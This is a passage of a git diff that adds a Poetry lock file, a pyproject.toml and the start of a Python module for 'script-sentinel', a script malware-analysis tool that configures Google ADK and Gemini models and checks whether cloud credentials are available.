"sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083"}, + {file = "PyYAML-6.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706"}, + {file = "PyYAML-6.0.2-cp38-cp38-win32.whl", hash = "sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a"}, + {file = "PyYAML-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725"}, + {file = "PyYAML-6.0.2-cp39-cp39-win32.whl", hash = "sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631"}, + {file = "PyYAML-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8"}, + {file = "pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"}, +] + +[[package]] +name = "requests" +version = "2.32.5" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset_normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "rich" +version = "13.9.4" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.8.0" +groups = ["main"] +files = [ + {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, + {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "rsa" +version = "4.9.1" +description = "Pure-Python RSA implementation" +optional = false +python-versions = "<4,>=3.6" +groups = ["main"] +files = [ + {file = "rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762"}, + {file = "rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75"}, +] + +[package.dependencies] +pyasn1 = ">=0.1.3" + +[[package]] +name = "tqdm" +version = "4.67.1" +description = "Fast, Extensible Progress Meter" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2"}, + {file = "tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +dev = ["nbval", "pytest (>=6)", "pytest-asyncio (>=0.24)", "pytest-cov", "pytest-timeout"] +discord = ["requests"] +notebook = ["ipywidgets (>=6)"] +slack = ["slack-sdk"] +telegram = ["requests"] + +[[package]] +name = "tree-sitter" +version = "0.22.3" +description = "Python bindings to the Tree-sitter parsing library" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree-sitter-0.22.3.tar.gz", hash = "sha256:6516bcef5d36e0365670b97c91a169c8b1aa82ea4b60946b879020820718ce3d"}, + {file = "tree_sitter-0.22.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d9a26dd80cf10763527483b02ba35a0b8d9168f324dbbce3f07860256c29bf15"}, + {file = "tree_sitter-0.22.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4bcbe0a7358628629d9ec8e5687477e12f7c6aae6943b0872afb7170db039b86"}, + {file = "tree_sitter-0.22.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfa45e6bf2542862ce987482fe212ef3153bd331d5bba5873b9f485f8923f65a"}, + {file = "tree_sitter-0.22.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4545b142da82f9668007180e0081583054682d0154cd6349796ac77dc8520d63"}, + {file = "tree_sitter-0.22.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:4978d22fe2868ab9a91125f49bd576ce5f954cc887c19471e0c33e104f37ba71"}, + {file = "tree_sitter-0.22.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0ec593a69f8c4f1c81494147814d11b7fc6c903e5299e084ae7b89caf95cef84"}, + {file = "tree_sitter-0.22.3-cp310-cp310-win_amd64.whl", hash = "sha256:0f66b88b8e9993630613d594e845f3cf2695fef87d0ca1475437cb17eeb72dc5"}, + {file = "tree_sitter-0.22.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9e627eb129421f63378e936b5d0e13b8befa6e7c5267a8a7621a397a84e8f1f7"}, + {file = "tree_sitter-0.22.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3cfa2a9860bfb0404ae28a9cf056dab8f2eb7f1673d8cc9b3f7e21452daad0e0"}, + {file = "tree_sitter-0.22.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d9a66cc5f19635119a9d8325bcb00a58ed48427e3c3d307caf7c00d745ac83a5"}, + {file = "tree_sitter-0.22.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de16468ea22c910e67caa91c99be9d6eb73e97e5164480a890f678b22d32faca"}, + {file = "tree_sitter-0.22.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:98c697427f82abab6b39cfe2ade6547d844dd419fa8cfc89031bcdf7c10579b6"}, + {file = "tree_sitter-0.22.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:548aa34f15a29aef1fc8e85507f13e0678a54f1de16461f844d86179b19bb5f6"}, + {file = "tree_sitter-0.22.3-cp311-cp311-win_amd64.whl", hash = "sha256:2fc0e1097fb86623b340141e80a0f2b7668b09d953501d91adc715a577e32c61"}, + {file = "tree_sitter-0.22.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:7cb5c145fbd4bcc0cd4851dc4d0a6079a8e2f61257f8c0effc92434f6fb19b14"}, + {file = "tree_sitter-0.22.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d4a592080db6b9472a886f4593b4705d02630721fdbe4a700085fe775fcab20e"}, + {file = "tree_sitter-0.22.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f36bf523763f05edf924126583ea997f905162046c0f184d6fd040cc1ccbf2c5"}, + {file = "tree_sitter-0.22.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8e1193f27c25aab299f4fc154664122c7bfe80633b726bb457356d371479a5b"}, + {file = "tree_sitter-0.22.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:156df7e71a6c6b542ff29526cad6886a41115e42dc768c55101398d68325db54"}, + {file = "tree_sitter-0.22.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:82e1d467ce23dd2ecc37d4fb83965e891fc37b943639c517cd5acf54a2df0ff7"}, + {file = "tree_sitter-0.22.3-cp312-cp312-win_amd64.whl", hash = "sha256:e541a0c08a04f229ba9479a8c441dd267fdaa3e5842ae70a744c178bcaf53fa3"}, + {file = "tree_sitter-0.22.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:a85a1d0fdff21cc524a959b3277c311941a9b5b91a862e462c1b55470893884a"}, + {file = "tree_sitter-0.22.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f96c6acd2799bafa28543a267937eec6a3d9ccbdeb6e1d05858114d4cd882da9"}, + {file = "tree_sitter-0.22.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed2708aecd3a4c8d20a89350d3c89ac2f964985ee9117c39357cee3098a9498a"}, + {file = "tree_sitter-0.22.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b2f99535aa4195b20fef18559defaabd9e12fe8ed8806c101d51820f240ca64"}, + {file = "tree_sitter-0.22.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:459a0f3bf8d6dbb9e9f651d67cee3a60f0b799fefd4a33f49a7e9501ada98e35"}, + {file = "tree_sitter-0.22.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4a51bfe99dcd8bbfb0fe95113f0197e6e540db3077abce77a058235beec747a3"}, + {file = "tree_sitter-0.22.3-cp39-cp39-win_amd64.whl", hash = "sha256:8d54ef562492493bf091cb3fd605cb7e60bf1d56634a94ab48075741d823e3a5"}, +] + +[package.extras] +docs = ["sphinx (>=7.3,<8.0)", "sphinx-book-theme"] +tests = ["tree-sitter-html", "tree-sitter-javascript", "tree-sitter-json", "tree-sitter-python", "tree-sitter-rust"] + +[[package]] +name = "tree-sitter-c-sharp" +version = "0.23.1" +description = "C# grammar for tree-sitter" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2b612a6e5bd17bb7fa2aab4bb6fc1fba45c94f09cb034ab332e45603b86e32fd"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a8b98f62bc53efcd4d971151950c9b9cd5cbe3bacdb0cd69fdccac63350d83e"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:986e93d845a438ec3c4416401aa98e6a6f6631d644bbbc2e43fcb915c51d255d"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8024e466b2f5611c6dc90321f232d8584893c7fb88b75e4a831992f877616d2"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7f9bf876866835492281d336b9e1f9626ab668737f74e914c31d285261507da7"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_amd64.whl", hash = "sha256:ae9a9e859e8f44e2b07578d44f9a220d3fa25b688966708af6aa55d42abeebb3"}, + {file = "tree_sitter_c_sharp-0.23.1-cp39-abi3-win_arm64.whl", hash = "sha256:c81548347a93347be4f48cb63ec7d60ef4b0efa91313330e69641e49aa5a08c5"}, + {file = "tree_sitter_c_sharp-0.23.1.tar.gz", hash = "sha256:322e2cfd3a547a840375276b2aea3335fa6458aeac082f6c60fec3f745c967eb"}, +] + +[package.extras] +core = ["tree-sitter (>=0.22,<1.0)"] + +[[package]] +name = "tree-sitter-embedded-template" +version = "0.25.0" +description = "Embedded Template (ERB, EJS) grammar for tree-sitter" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:fa0d06467199aeb33fb3d6fa0665bf9b7d5a32621ffdaf37fd8249f8a8050649"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:fc7aacbc2985a5d7e7fe7334f44dffe24c38fb0a8295c4188a04cf21a3d64a73"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a7c88c3dd8b94b3c9efe8ae071ff6b1b936a27ac5f6e651845c3b9631fa4c1c2"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:025f7ca84218dcd8455efc901bdbcc2689fb694f3a636c0448e322a23d4bc96b"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b5dc1aef6ffa3fae621fe037d85dd98948b597afba20df29d779c426be813ee5"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d0a35cfe634c44981a516243bc039874580e02a2990669313730187ce83a5bc6"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-win_amd64.whl", hash = "sha256:3e05a4ac013d54505e75ae48e1a0e9db9aab19949fe15d9f4c7345b11a84a069"}, + {file = "tree_sitter_embedded_template-0.25.0-cp310-abi3-win_arm64.whl", hash = "sha256:2751d402179ac0e83f2065b249d8fe6df0718153f1636bcb6a02bde3e5730db9"}, + {file = "tree_sitter_embedded_template-0.25.0.tar.gz", hash = "sha256:7d72d5e8a1d1d501a7c90e841b51f1449a90cc240be050e4fb85c22dab991d50"}, +] + +[package.extras] +core = ["tree-sitter (>=0.24,<1.0)"] + +[[package]] +name = "tree-sitter-language-pack" +version = "0.2.0" +description = "Extensive Language Pack for Tree-Sitter" +optional = false +python-versions = ">=3.9.0" +groups = ["main"] +files = [ + {file = "tree_sitter_language_pack-0.2.0.tar.gz", hash = "sha256:14c83c43a2f7236a2c39c1c196fd0a2415305dee97263aa80c653623fa23ef13"}, +] + +[package.dependencies] +tree-sitter = ">=0.22.0" +tree-sitter-c-sharp = ">=0.21.2" +tree-sitter-embedded-template = ">=0.21.0" +tree-sitter-php = ">=0.22.5" +tree-sitter-typescript = ">=0.21.1" +tree-sitter-xml = ">=0.6.4" +tree-sitter-yaml = ">=0.6.0" + +[[package]] +name = "tree-sitter-php" +version = "0.24.1" +description = "PHP grammar for tree-sitter" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tree_sitter_php-0.24.1-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:d56e2dcf025450f84a2cdbf4b18a09e6cb88b92e9e6858e63de3d4133ab2e43e"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:29759c67d4c27a68c227ed82c0b7e4699617b1bd23757d50c081f81a12b4f80d"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94b89832ac09f078eed2acd88598838bc51012224cbcebb916dbb6a37e74357e"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7a1404a30f2972498ace040b0029738b8dac45d0a12932ccb8b605eb94bafbe4"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3e96f61462a960c78e5389c7ba6c16c25e66b465c763b8e63ad66423326c2fa7"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-win_amd64.whl", hash = "sha256:1a1b65b72a8410d421f914ee13d38fd546a94d01cb834f69b27c78ba7589a5b5"}, + {file = "tree_sitter_php-0.24.1-cp310-abi3-win_arm64.whl", hash = "sha256:56a70c5ef1bddb15f220a479b2f2edf3042c764b6c443921fbd7ca9174d664e3"}, +] + +[package.extras] +core = ["tree-sitter (>=0.24,<1.0)"] + +[[package]] +name = "tree-sitter-typescript" +version = "0.23.2" +description = "TypeScript and TSX grammars for tree-sitter" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3cd752d70d8e5371fdac6a9a4df9d8924b63b6998d268586f7d374c9fba2a478"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:c7cc1b0ff5d91bac863b0e38b1578d5505e718156c9db577c8baea2557f66de8"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4b1eed5b0b3a8134e86126b00b743d667ec27c63fc9de1b7bb23168803879e31"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e96d36b85bcacdeb8ff5c2618d75593ef12ebaf1b4eace3477e2bdb2abb1752c"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8d4f0f9bcb61ad7b7509d49a1565ff2cc363863644a234e1e0fe10960e55aea0"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-win_amd64.whl", hash = "sha256:3f730b66396bc3e11811e4465c41ee45d9e9edd6de355a58bbbc49fa770da8f9"}, + {file = "tree_sitter_typescript-0.23.2-cp39-abi3-win_arm64.whl", hash = "sha256:05db58f70b95ef0ea126db5560f3775692f609589ed6f8dd0af84b7f19f1cbb7"}, + {file = "tree_sitter_typescript-0.23.2.tar.gz", hash = "sha256:7b167b5827c882261cb7a50dfa0fb567975f9b315e87ed87ad0a0a3aedb3834d"}, +] + +[package.extras] +core = ["tree-sitter (>=0.23,<1.0)"] + +[[package]] +name = "tree-sitter-xml" +version = "0.7.0" +description = "XML & DTD grammars for tree-sitter" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "tree_sitter_xml-0.7.0-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cc3e516d4c1e0860fb22172c172148debb825ba638971bc48bad15b22e5b0bae"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:0674fdf4cc386e4d323cb287d3b072663de0f20a9e9af5d5e09821aae56a9e5c"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c0fe5f2d6cc09974c8375c8ea9b24909f493b5bf04aacdc4c694b5d2ae6b040"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd3209516a4d84dff90bc91d2ad2ce246de8504cede4358849687fa8e71536e7"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:87578e15fa55f44ecd9f331233b6f8a2cbde3546b354c830ecb862a632379455"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-win_amd64.whl", hash = "sha256:9ba2dafc6ce9feaf4ccc617d3aeea57f8e0ca05edad34953e788001ebff79133"}, + {file = "tree_sitter_xml-0.7.0-cp39-abi3-win_arm64.whl", hash = "sha256:fc759f710a8fd7a01c23e2d7cb013679199045bea3dc0e5151650a11322aaf40"}, + {file = "tree_sitter_xml-0.7.0.tar.gz", hash = "sha256:ab0ff396f20230ad8483d968151ce0c35abe193eb023b20fbd8b8ce4cf9e9f61"}, +] + +[package.extras] +core = ["tree-sitter (>=0.22,<1.0)"] + +[[package]] +name = "tree-sitter-yaml" +version = "0.7.2" +description = "YAML grammar for tree-sitter" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:7e269ddcfcab8edb14fbb1f1d34eed1e1e26888f78f94eedfe7cc98c60f8bc9f"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:0807b7966e23ddf7dddc4545216e28b5a58cdadedcecca86b8d8c74271a07870"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1a5c60c98b6c4c037aae023569f020d0c489fad8dc26fdfd5510363c9c29a41"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:88636d19d0654fd24f4f242eaaafa90f6f5ebdba8a62e4b32d251ed156c51a2a"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1d2e8f0bb14aa4537320952d0f9607eef3021d5aada8383c34ebeece17db1e06"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:74ca712c50fc9d7dbc68cb36b4a7811d6e67a5466b5a789f19bf8dd6084ef752"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-win_amd64.whl", hash = "sha256:7587b5ca00fc4f9a548eff649697a3b395370b2304b399ceefa2087d8a6c9186"}, + {file = "tree_sitter_yaml-0.7.2-cp310-abi3-win_arm64.whl", hash = "sha256:f63c227b18e7ce7587bce124578f0bbf1f890ac63d3e3cd027417574273642c4"}, + {file = "tree_sitter_yaml-0.7.2.tar.gz", hash = "sha256:756db4c09c9d9e97c81699e8f941cb8ce4e51104927f6090eefe638ee567d32c"}, +] + +[package.extras] +core = ["tree-sitter (>=0.24,<1.0)"] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +description = "Backported and Experimental Type Hints for Python 3.9+" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548"}, + {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +description = "Runtime typing introspection tools" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7"}, + {file = "typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464"}, +] + +[package.dependencies] +typing-extensions = ">=4.12.0" + +[[package]] +name = "uritemplate" +version = "4.2.0" +description = "Implementation of RFC 6570 URI Templates" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "uritemplate-4.2.0-py3-none-any.whl", hash = "sha256:962201ba1c4edcab02e60f9a0d3821e82dfc5d2d6662a21abd533879bdb8a686"}, + {file = "uritemplate-4.2.0.tar.gz", hash = "sha256:480c2ed180878955863323eea31b0ede668795de182617fef9c6ca09e6ec9d0e"}, +] + +[[package]] +name = "urllib3" +version = "2.5.0" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, + {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, +] + +[package.extras] +brotli = ["brotli (>=1.0.9) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; platform_python_implementation != \"CPython\""] +h2 = ["h2 (>=4,<5)"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] + +[metadata] +lock-version = "2.1" +python-versions = "~3.11" +content-hash = "9fe1ba45d32420685ab127b212324160c1318720a394ead583224aec9b63cc87" diff --git a/docker/script-sentinel/pyproject.toml b/docker/script-sentinel/pyproject.toml new file mode 100644 index 0000000000000..5e478ca9de15f --- /dev/null +++ b/docker/script-sentinel/pyproject.toml @@ -0,0 +1,21 @@ +[tool.poetry] +name = "script-sentinel" +version = "1.0.0" +description = "Malware analysis for PowerShell, Bash, and JavaScript scripts" +authors = ["Script Sentinel Team "] + +[tool.poetry.dependencies] +python = "~3.11" +tree-sitter = "~0.22.0" +tree-sitter-language-pack = "*" +google-generativeai = "0.8.3" +google-ai-generativelanguage = "0.6.10" +PyYAML = "6.0.2" +python-dotenv = "1.0.1" +rich = "13.9.4" +google-auth = "2.36.0" +google-api-core = "2.23.0" + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api" diff --git a/docker/script-sentinel/sentinel/__init__.py b/docker/script-sentinel/sentinel/__init__.py new file mode 100644 index 0000000000000..e69de29bb2d1d diff --git a/docker/script-sentinel/sentinel/adk_agent.py b/docker/script-sentinel/sentinel/adk_agent.py new file mode 100644 index 0000000000000..65694bf9e2faa --- /dev/null +++ b/docker/script-sentinel/sentinel/adk_agent.py @@ -0,0 +1,441 @@ +# sentinel/adk_agent.py + +""" +Google ADK integration for LLM-powered semantic analysis. + +This module integrates Google's Agent Development Kit (ADK) with Gemini 2.5 Pro +to provide semantic analysis of scripts for security threat detection. +""" + +import logging +import asyncio +from typing import Optional, Any +from dataclasses import dataclass + +from google.adk import Agent, Runner +from google.adk.sessions import InMemorySessionService +from google.genai import types + +from .models import Finding +from .sanitizer import sanitize_script + +logger = logging.getLogger(__name__) + +# Timeout for LLM API calls (35 seconds per NFR-2) +LLM_TIMEOUT_SECONDS = 35 + +# Available Gemini models +GEMINI_MODELS = { + 'flash': 'gemini-2.0-flash-exp', # Fast, cost-effective (recommended for production) + 'pro': 'gemini-2.5-pro', # Deeper analysis, higher quality + 'flash-thinking': 'gemini-2.0-flash-thinking-exp' # Experimental with reasoning +} + +# Default model +DEFAULT_MODEL = 'flash' + + +@dataclass +class ADKAnalysisResult: + """Result from ADK semantic analysis.""" + findings: list[Finding] + metadata: dict[str, Any] + + +def _check_adk_available() -> tuple[bool, Optional[str]]: + """ + Check if ADK and Gemini are available. + + Automatically attempts to configure authentication if not already set up. + + Returns: + Tuple of (is_available, error_message). + """ + try: + # Try to import required modules + import google.adk + import google.genai + import os + + # Auto-configure environment if not set + if not os.getenv('GOOGLE_CLOUD_PROJECT'): + # Try to get from gcloud config + try: + import subprocess + result = subprocess.run( + ['gcloud', 'config', 'get-value', 'project'], + capture_output=True, + text=True, + timeout=5 + ) + if result.returncode == 0 and result.stdout.strip(): + os.environ['GOOGLE_CLOUD_PROJECT'] = result.stdout.strip() + logger.info(f"Auto-configured GOOGLE_CLOUD_PROJECT from gcloud") + except Exception: + pass + + if not os.getenv('GOOGLE_CLOUD_LOCATION'): + # Default to us-central1 + os.environ['GOOGLE_CLOUD_LOCATION'] = 'us-central1' + logger.info("Auto-configured GOOGLE_CLOUD_LOCATION to us-central1") + + # Final check + if not os.getenv('GOOGLE_CLOUD_PROJECT'): + return False, "GOOGLE_CLOUD_PROJECT not configured. Set via: gcloud config set project YOUR_PROJECT_ID" + + # Check for authentication (multiple possible locations) + credentials_paths = [ + os.path.expanduser('~/.config/gcloud/application_default_credentials.json'), + os.getenv('GOOGLE_APPLICATION_CREDENTIALS', ''), + ] + + has_credentials = any(os.path.exists(p) for p in credentials_paths if p) + + if not has_credentials: + return False, "Google Cloud credentials not found. Run: gcloud auth application-default login" + + return True, None + + except ImportError as e: + return False, f"Required module not available: {str(e)}. Install with: pip install google-adk google-genai" + except Exception as e: + return False, f"ADK availability check failed: {str(e)}" + + +def _create_analysis_prompt( + language: str, + script_content: str, + heuristic_findings: list[Finding] +) -> str: + """ + Create the analysis prompt for the LLM. + + 